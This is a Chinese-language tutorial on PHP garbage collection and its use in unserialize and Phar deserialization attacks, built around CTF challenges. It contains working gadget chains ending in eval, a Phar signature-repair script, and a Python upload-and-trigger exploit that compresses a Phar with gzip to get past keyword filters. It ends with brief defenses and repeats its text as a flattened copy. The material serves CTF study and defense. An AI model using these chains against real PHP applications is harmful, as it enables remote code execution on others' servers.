浅析PHP GC垃圾回收机制及常见利用方式
字数 988 2025-08-26 22:11:45

PHP GC垃圾回收机制及常见利用方式

一、GC概述

1. 什么是GC

GC(Garbage collection)即垃圾回收机制,是PHP中自动管理内存对象的机制。当一个变量被设置为NULL,或者没有任何指针指向时,它就会被GC机制自动回收。

2. PHP中的GC实现

PHP使用引用计数回收周期来自动管理内存对象。当对象没有被引用时,就会被GC机制回收,在回收过程中会自动触发__destruct方法。

二、引用计数机制

1. zval变量容器

PHP创建变量时会被存储在zval变量容器中,包含:

  • 变量的类型和值
  • is_ref(bool):标识变量是否属于引用集合
  • refcount:表示指向zval变量容器的变量个数

2. 引用计数示例

$a = "new string"; 
xdebug_debug_zval('a');

输出显示refcount=1is_ref=false

添加引用后:

$a = "new string"; 
$b = &$a;
xdebug_debug_zval('a');

输出显示refcount=2is_ref=true

3. 容器销毁规则

变量容器在refcount变成0时被销毁。当函数执行结束或调用unset()时,refcount减1。

三、GC在PHP反序列化中的利用

1. 绕过异常抛出的原理

通过构造数组并将第二个索引置空,可以提前触发GC回收机制,从而绕过后续的异常抛出。

2. 示例代码

class test{
    public $num;
    public function __destruct(){
        echo $this->num."__destruct()"."</br>"; 
    }
}

$a = new test(1); 
unset($a); // 直接触发__destruct

3. 反序列化绕过异常

class B {
    function __destruct() {
        global $flag;
        echo $flag;
    }
}

// 正常序列化
$a = array(new B,0);
echo serialize($a); // a:2:{i:0;O:1:"B":0:{}i:1;i:0;}

// 修改为触发GC
$a = array(new B,0);
echo serialize($a); // a:2:{i:0;O:1:"B":0:{}i:0;i:0;}

四、GC在Phar反序列化中的利用

1. 基本利用方法

class Test{
    public $code;
    public function __destruct(){ 
        eval($this->code); 
    }
}

// 生成Phar文件
$c = array(new test(),0); 
$b = new Phar('1.phar',0);
$b->startBuffering();
$b->setMetadata($c);
$b->setStub("<?php __HALT_COMPILER();?>");
$b->addFromString("test.txt","test");
$b->stopBuffering();

2. 修改Phar文件签名

  1. 将Phar文件中的i:1修改为i:0
  2. 使用Python脚本修复签名:
import gzip
from hashlib import sha1
with open('1.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h
open("2.phar","wb").write(newf)

3. 触发Phar反序列化

$filename = "phar://2.phar";
file_get_contents($filename);

五、CTF实战案例

案例1:简单反序列化利用

class cg0{
    public $num;
    public function __destruct(){ 
        echo $this->num."hello __destruct"; 
    }
}
class cg1{
    public $string;
    public function __toString() {
        $this->string->flag(); 
    }
}
class cg2{
    public $cmd;
    public function flag(){
        eval($this->cmd); 
    }
}

// 构造payload
$a = new cg0();
$a->num = new cg1();
$a->num->string = new cg2();
$a->num->string->cmd = "phpinfo();";
$b = array($a,0);
echo serialize($b);

// 修改i:1为i:0触发GC

案例2:卷王杯easy unserialize

class one {
    public $year_parm = array("Happy_func");
    public $object;
    // ...其他方法...
}

class second {
    public $filename;
    // ...其他方法...
}

class third {
    private $string;
    // ...其他方法...
}

// 构造复杂链
$a = new one();
$a->object = new second();
$a->object->filename = new one();
$a->object->filename->object = new third(array("string"=>[new one(),"MeMeMe"]));
$b = array($a,NULL);
echo urlencode(serialize($b));

案例3:[NSSCTF]prize_p1

  1. 构造Phar文件
  2. 使用gzip压缩绕过关键词检测
  3. 通过file_put_contents上传
  4. 使用file_get_contents触发

完整利用脚本:

import requests
import gzip

# 生成压缩Phar文件
file = open("ph2.phar", "rb")
file_out = gzip.open("phar.zip", "wb+")
file_out.writelines(file)
file_out.close()
file.close()

# 上传
requests.post(
    url,
    params={0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'},
    data={0: open('phar.zip', 'rb').read()}
)

# 触发
res = requests.post(
    url,
    params={0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'},
    data={0: 'phar://tmp/a.txt'}
)

六、关键点总结

  1. GC触发条件:对象无引用时自动触发__destruct
  2. 绕过异常:通过数组和索引置空技巧
  3. Phar利用:需注意文件签名和压缩绕过
  4. 防御措施
    • 避免敏感操作放在__destruct
    • 严格过滤反序列化输入
    • 禁用危险函数如unserialize

七、参考资源

  1. PHP引用计数机制详解
  2. Phar反序列化利用技巧
  3. CTF中GC机制的高级利用方式
PHP GC垃圾回收机制及常见利用方式 一、GC概述 1. 什么是GC GC(Garbage collection)即垃圾回收机制,是PHP中自动管理内存对象的机制。当一个变量被设置为NULL,或者没有任何指针指向时,它就会被GC机制自动回收。 2. PHP中的GC实现 PHP使用 引用计数 和 回收周期 来自动管理内存对象。当对象没有被引用时,就会被GC机制回收,在回收过程中会自动触发 __destruct 方法。 二、引用计数机制 1. zval变量容器 PHP创建变量时会被存储在zval变量容器中,包含: 变量的类型和值 is_ref (bool):标识变量是否属于引用集合 refcount :表示指向zval变量容器的变量个数 2. 引用计数示例 输出显示 refcount=1 , is_ref=false 添加引用后: 输出显示 refcount=2 , is_ref=true 3. 容器销毁规则 变量容器在 refcount 变成0时被销毁。当函数执行结束或调用 unset() 时, refcount 减1。 三、GC在PHP反序列化中的利用 1. 绕过异常抛出的原理 通过构造数组并将第二个索引置空,可以提前触发GC回收机制,从而绕过后续的异常抛出。 2. 示例代码 3. 反序列化绕过异常 四、GC在Phar反序列化中的利用 1. 基本利用方法 2. 修改Phar文件签名 将Phar文件中的 i:1 修改为 i:0 使用Python脚本修复签名: 3. 触发Phar反序列化 五、CTF实战案例 案例1:简单反序列化利用 案例2:卷王杯easy unserialize 案例3:[ NSSCTF]prize_ p1 构造Phar文件 使用gzip压缩绕过关键词检测 通过file_ put_ contents上传 使用file_ get_ contents触发 完整利用脚本: 六、关键点总结 GC触发条件 :对象无引用时自动触发 __destruct 绕过异常 :通过数组和索引置空技巧 Phar利用 :需注意文件签名和压缩绕过 防御措施 : 避免敏感操作放在 __destruct 严格过滤反序列化输入 禁用危险函数如 unserialize 七、参考资源 PHP引用计数机制详解 Phar反序列化利用技巧 CTF中GC机制的高级利用方式